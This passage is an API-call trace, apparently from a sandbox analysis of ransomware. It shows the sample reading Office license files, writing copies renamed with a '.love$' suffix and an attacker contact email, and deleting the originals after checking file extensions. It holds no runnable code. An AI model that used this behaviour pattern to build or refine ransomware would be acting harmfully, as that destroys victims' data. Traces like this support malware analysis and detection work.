lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0272.343] GetLastError () returned 0x0 [0272.343] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2b93, lpOverlapped=0x0) returned 1 [0272.347] WriteFile (in: hFile=0x4c8, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0272.349] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0272.349] WriteFile (in: hFile=0x4c8, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x108, lpOverlapped=0x0) returned 1 [0272.349] SetEndOfFile (hFile=0x4c8) returned 1 [0272.349] CloseHandle (hObject=0x4c8) returned 1 [0272.349] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.350] SetEndOfFile (hFile=0x534) returned 1 [0272.705] CloseHandle (hObject=0x534) returned 1 [0272.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms")) returned 1 [0272.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0272.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0272.707] lstrlenW (lpString=".doc") returned 4 [0272.707] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.707] lstrlenW (lpString=".docx") returned 5 [0272.707] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.707] lstrlenW (lpString=".pdf") returned 4 [0272.707] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.708] lstrlenW (lpString=".xls") returned 4 [0272.708] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.708] lstrlenW (lpString=".xlsx") returned 5 [0272.708] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.708] lstrlenW (lpString=".ppt") returned 4 [0272.708] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0272.708] lstrlenW (lpString=".zip") returned 4 [0272.708] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.708] lstrlenW (lpString=".rar") returned 4 [0272.708] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.708] lstrlenW (lpString=".bz2") returned 4 [0272.708] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.708] lstrlenW (lpString=".7z") returned 3 [0272.708] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0272.708] lstrlenW (lpString=".dbf") returned 4 [0272.708] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0272.708] lstrlenW (lpString=".1cd") returned 4 [0272.708] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0272.709] lstrlenW (lpString=".jpg") returned 4 [0272.709] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0272.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0272.709] lstrlenW (lpString=".doc") returned 4 [0272.709] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.709] lstrlenW (lpString=".docx") returned 5 [0272.709] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.709] lstrlenW (lpString=".pdf") returned 4 [0272.709] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.709] lstrlenW (lpString=".xls") returned 4 [0272.709] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.709] lstrlenW (lpString=".xlsx") returned 5 [0272.709] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.709] lstrlenW (lpString=".ppt") returned 4 [0272.709] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0272.709] lstrlenW (lpString=".zip") returned 4 [0272.709] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.709] lstrlenW (lpString=".rar") returned 4 [0272.709] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.709] lstrlenW (lpString=".bz2") returned 4 [0272.709] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.709] lstrlenW (lpString=".7z") returned 3 [0272.710] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0272.710] lstrlenW (lpString=".dbf") returned 4 [0272.710] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0272.710] lstrlenW (lpString=".1cd") returned 4 [0272.710] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0272.710] lstrlenW (lpString=".jpg") returned 4 [0272.710] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.710] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0272.710] lstrlenW (lpString="MondoVL_KMS_Client-ul-oob.xrm-ms") returned 32 [0272.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0272.712] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11609) returned 1 [0272.712] CloseHandle (hObject=0x534) returned 1 [0272.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0272.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0272.713] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.713] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0272.715] GetLastError () returned 0x0 [0272.715] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2d59, lpOverlapped=0x0) returned 1 [0272.717] WriteFile (in: hFile=0x4b0, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2d60, lpOverlapped=0x0) returned 1 [0272.719] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0272.719] WriteFile (in: hFile=0x4b0, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x114, lpOverlapped=0x0) returned 1 [0272.719] SetEndOfFile (hFile=0x4b0) returned 1 [0272.719] CloseHandle (hObject=0x4b0) returned 1 [0272.720] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.720] SetEndOfFile (hFile=0x534) returned 1 [0272.724] CloseHandle (hObject=0x534) returned 1 [0272.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.725] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms")) returned 1 [0272.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0272.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0272.728] lstrlenW (lpString=".doc") returned 4 [0272.728] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.729] lstrlenW (lpString=".docx") returned 5 [0272.729] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.729] lstrlenW (lpString=".pdf") returned 4 [0272.729] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.729] lstrlenW (lpString=".xls") returned 4 [0272.729] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.729] lstrlenW (lpString=".xlsx") returned 5 [0272.729] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.729] lstrlenW (lpString=".ppt") returned 4 [0272.729] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0272.729] lstrlenW (lpString=".zip") returned 4 [0272.729] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.729] lstrlenW (lpString=".rar") returned 4 [0272.729] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.729] lstrlenW (lpString=".bz2") returned 4 [0272.729] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.729] lstrlenW (lpString=".7z") returned 3 [0272.729] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0272.729] lstrlenW (lpString=".dbf") returned 4 [0272.729] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0272.729] lstrlenW (lpString=".1cd") returned 4 [0272.729] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0272.730] lstrlenW (lpString=".jpg") returned 4 [0272.730] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0272.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0272.730] lstrlenW (lpString=".doc") returned 4 [0272.730] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.730] lstrlenW (lpString=".docx") returned 5 [0272.730] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.730] lstrlenW (lpString=".pdf") returned 4 [0272.730] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.730] lstrlenW (lpString=".xls") returned 4 [0272.730] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.730] lstrlenW (lpString=".xlsx") returned 5 [0272.730] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.730] lstrlenW (lpString=".ppt") returned 4 [0272.730] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0272.730] lstrlenW (lpString=".zip") returned 4 [0272.730] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.730] lstrlenW (lpString=".rar") returned 4 [0272.730] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.730] lstrlenW (lpString=".bz2") returned 4 [0272.730] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.730] lstrlenW (lpString=".7z") returned 3 [0272.730] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0272.730] lstrlenW (lpString=".dbf") returned 4 [0272.730] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0272.731] lstrlenW (lpString=".1cd") returned 4 [0272.731] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0272.731] lstrlenW (lpString=".jpg") returned 4 [0272.731] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.731] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0272.731] lstrlenW (lpString="MondoVL_KMS_Client-ul.xrm-ms") returned 28 [0272.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0272.733] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=9601) returned 1 [0272.733] CloseHandle (hObject=0x534) returned 1 [0272.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms")) returned 0x220 [0272.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0272.734] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.734] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0272.736] GetLastError () returned 0x0 [0272.736] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2581, lpOverlapped=0x0) returned 1 [0272.851] WriteFile (in: hFile=0x4b0, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2590, lpOverlapped=0x0) returned 1 [0272.853] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0272.853] WriteFile (in: hFile=0x4b0, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x10c, lpOverlapped=0x0) returned 1 [0272.853] SetEndOfFile (hFile=0x4b0) returned 1 [0272.853] CloseHandle (hObject=0x4b0) returned 1 [0272.854] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.854] SetEndOfFile (hFile=0x534) returned 1 [0272.859] CloseHandle (hObject=0x534) returned 1 [0272.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.988] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms")) returned 1 [0273.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0273.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0273.047] lstrlenW (lpString=".doc") returned 4 [0273.047] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.047] lstrlenW (lpString=".docx") returned 5 [0273.047] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.047] lstrlenW (lpString=".pdf") returned 4 [0273.047] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.047] lstrlenW (lpString=".xls") returned 4 [0273.047] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.047] lstrlenW (lpString=".xlsx") returned 5 [0273.047] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.047] lstrlenW (lpString=".ppt") returned 4 [0273.047] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0273.047] lstrlenW (lpString=".zip") returned 4 [0273.047] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.047] lstrlenW (lpString=".rar") returned 4 [0273.047] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.047] lstrlenW (lpString=".bz2") returned 4 [0273.047] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.047] lstrlenW (lpString=".7z") returned 3 [0273.047] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0273.047] lstrlenW (lpString=".dbf") returned 4 [0273.047] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0273.047] lstrlenW (lpString=".1cd") returned 4 [0273.048] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0273.048] lstrlenW (lpString=".jpg") returned 4 [0273.048] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0273.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0273.048] lstrlenW (lpString=".doc") returned 4 [0273.048] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.048] lstrlenW (lpString=".docx") returned 5 [0273.048] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.048] lstrlenW (lpString=".pdf") returned 4 [0273.048] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.048] lstrlenW (lpString=".xls") returned 4 [0273.048] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.048] lstrlenW (lpString=".xlsx") returned 5 [0273.048] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.048] lstrlenW (lpString=".ppt") returned 4 [0273.048] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0273.048] lstrlenW (lpString=".zip") returned 4 [0273.048] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.048] lstrlenW (lpString=".rar") returned 4 [0273.048] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.048] lstrlenW (lpString=".bz2") returned 4 [0273.048] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.048] lstrlenW (lpString=".7z") returned 3 [0273.048] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0273.049] lstrlenW (lpString=".dbf") returned 4 [0273.049] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0273.049] lstrlenW (lpString=".1cd") returned 4 [0273.049] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0273.049] lstrlenW (lpString=".jpg") returned 4 [0273.049] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.049] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0273.049] lstrlenW (lpString="O365BusinessR_Grace-ul-oob.xrm-ms") returned 33 [0273.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0273.050] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11624) returned 1 [0273.050] CloseHandle (hObject=0x4b0) returned 1 [0273.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms")) returned 0x220 [0273.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0273.051] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0273.051] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0273.051] 